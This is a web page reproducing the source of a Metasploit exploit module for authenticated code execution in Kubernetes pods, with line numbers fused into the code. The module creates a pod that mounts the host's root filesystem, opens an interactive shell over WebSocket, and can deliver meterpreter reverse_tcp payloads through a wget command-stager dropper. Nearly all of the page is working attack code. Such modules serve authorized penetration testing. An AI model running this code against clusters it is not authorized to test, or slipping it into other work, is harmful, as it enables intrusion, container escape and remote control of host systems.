Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/kubernetes/exec.rb
Views: 11784
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Exploit8Rank = ManualRanking910include Msf::Exploit::Retry11include Msf::Exploit::Remote::HttpClient12include Msf::Exploit::CmdStager13include Msf::Exploit::Remote::HTTP::Kubernetes1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Kubernetes authenticated code execution',20'Description' => %q{21Execute a payload within a Kubernetes pod.22},23'License' => MSF_LICENSE,24'Author' => [25'alanfoster',26'Spencer McIntyre'27],28'References' => [29],30'Notes' => {31'SideEffects' => [32ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk33CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created34IOC_IN_LOGS # a log event is generated if a new pod is created35],36'Reliability' => [ REPEATABLE_SESSION ],37'Stability' => [ CRASH_SAFE ]38},39'DefaultOptions' => {40'SSL' => true41},42'Targets' => [43[44'Interactive WebSocket',45{46'Arch' => ARCH_CMD,47'Platform' => 'unix',48'Type' => :nix_stream,49'DefaultOptions' => {50'PAYLOAD' => 'cmd/unix/interact'51},52'Payload' => {53'Compat' => {54'PayloadType' => 'cmd_interact',55'ConnectionType' => 'find'56}57}58}59],60[61'Unix Command',62{63'Arch' => ARCH_CMD,64'Platform' => 'unix',65'Type' => :nix_cmd66}67],68[69'Linux Dropper',70{71'Arch' => [ARCH_X86, ARCH_X64],72'Platform' => 'linux',73'Type' => :nix_dropper,74'DefaultOptions' => {75'CMDSTAGER::FLAVOR' => 'wget',76'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'77}78}79],80[81'Python',82{83'Arch' => [ARCH_PYTHON],84'Platform' => 'python',85'Type' => :python,86'PAYLOAD' => 'python/meterpreter/reverse_tcp'87}88]89],90'DisclosureDate' => '2021-10-01',91'DefaultTarget' => 0,92'Platform' => [ 'linux', 'unix' ],93'SessionTypes' => [ 'meterpreter' ]94)95)9697register_options(98[99Opt::RHOSTS(nil, false),100Opt::RPORT(nil, false),101Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),102OptString.new('TOKEN', [ false, 'The JWT token' ]),103OptString.new('POD', [ false, 'The pod name to execute in' ]),104OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),105OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),106]107)108109register_advanced_options(110[111OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),112OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),113]114)115end116117def pod_name118@pod_name || datastore['POD']119end120121def create_pod122if datastore['PodImage'].blank?123image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq124fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?125else126image_names = [ datastore['PodImage'] ]127end128129ready = false130image_names.each do |image_name|131print_status("Using image: #{image_name}")132133random_identifiers = Rex::RandomIdentifier::Generator.new({134first_char_set: Rex::Text::LowerAlpha,135char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals136})137new_pod_definition = {138apiVersion: 'v1',139kind: 'Pod',140metadata: {141name: random_identifiers[:pod_name],142labels: {}143},144spec: {145containers: [146{147name: random_identifiers[:container_name],148image: image_name,149command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],150volumeMounts: [151{152mountPath: '/host_mnt',153name: random_identifiers[:volume_name]154}155]156}157],158volumes: [159{160name: random_identifiers[:volume_name],161hostPath: {162path: '/'163}164}165]166}167}168new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]169170@pod_name = random_identifiers[:pod_name]171print_good("Pod created: #{pod_name}")172173print_status('Waiting for the pod to be ready...')174ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do175pod = @kubernetes_client.get_pod(pod_name, namespace)176pod_status = pod[:status]177next if pod_status == 'Failure'178179container_statuses = pod_status[:containerStatuses]180next unless container_statuses181182ready = container_statuses.any? { |status| status[:ready] }183ready184rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e185elog(e)186false187end188189if ready190report_note(191type: 'kubernetes.pod',192host: rhost,193port: rport,194data: {195pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),196imageName: image_name197},198update: :unique_data199)200201break202end203204print_error('The pod failed to start within the expected timeframe')205206begin207@kubernetes_client.delete_pod(@pod_name, namespace)208rescue StandardError209print_error('Failed to delete the pod')210end211end212213fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready214end215216def exploit217if session218print_status("Routing traffic through session: #{session.sid}")219configure_via_session220end221222validate_configuration!223224@kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })225226create_pod if pod_name.blank?227228case target['Type']229when :nix_stream230# Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back231websocket = @kubernetes_client.exec_pod(232pod_name,233datastore['Namespace'],234datastore['Shell'],235'stdin' => true,236'stdout' => true,237'stderr' => true,238'tty' => false239)240241print_good('Successfully established the WebSocket')242channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)243handler(channel.lsock)244when :nix_cmd245execute_command(payload.encoded)246when :nix_dropper247execute_cmdstager248else249execute_command(payload.encoded)250end251rescue Rex::Proto::Http::WebSocket::ConnectionError => e252res = e.http_response253fail_with(Failure::Unreachable, e.message) if res.nil?254fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403255fail_with(Failure::Unknown, e.message)256else257report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')258end259260def execute_command(cmd, _opts = {})261case target['Platform']262when 'python'263command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]264else265command = [datastore['Shell'], '-c', cmd]266end267268result = @kubernetes_client.exec_pod_capture(269pod_name,270datastore['Namespace'],271command,272'stdin' => false,273'stdout' => true,274'stderr' => true,275'tty' => false276) do |stdout, stderr|277print_line(stdout.strip) unless stdout.blank?278print_line(stderr.strip) unless stderr.blank?279end280281fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?282283status = result&.dig(:error, 'status')284fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'285end286end287288289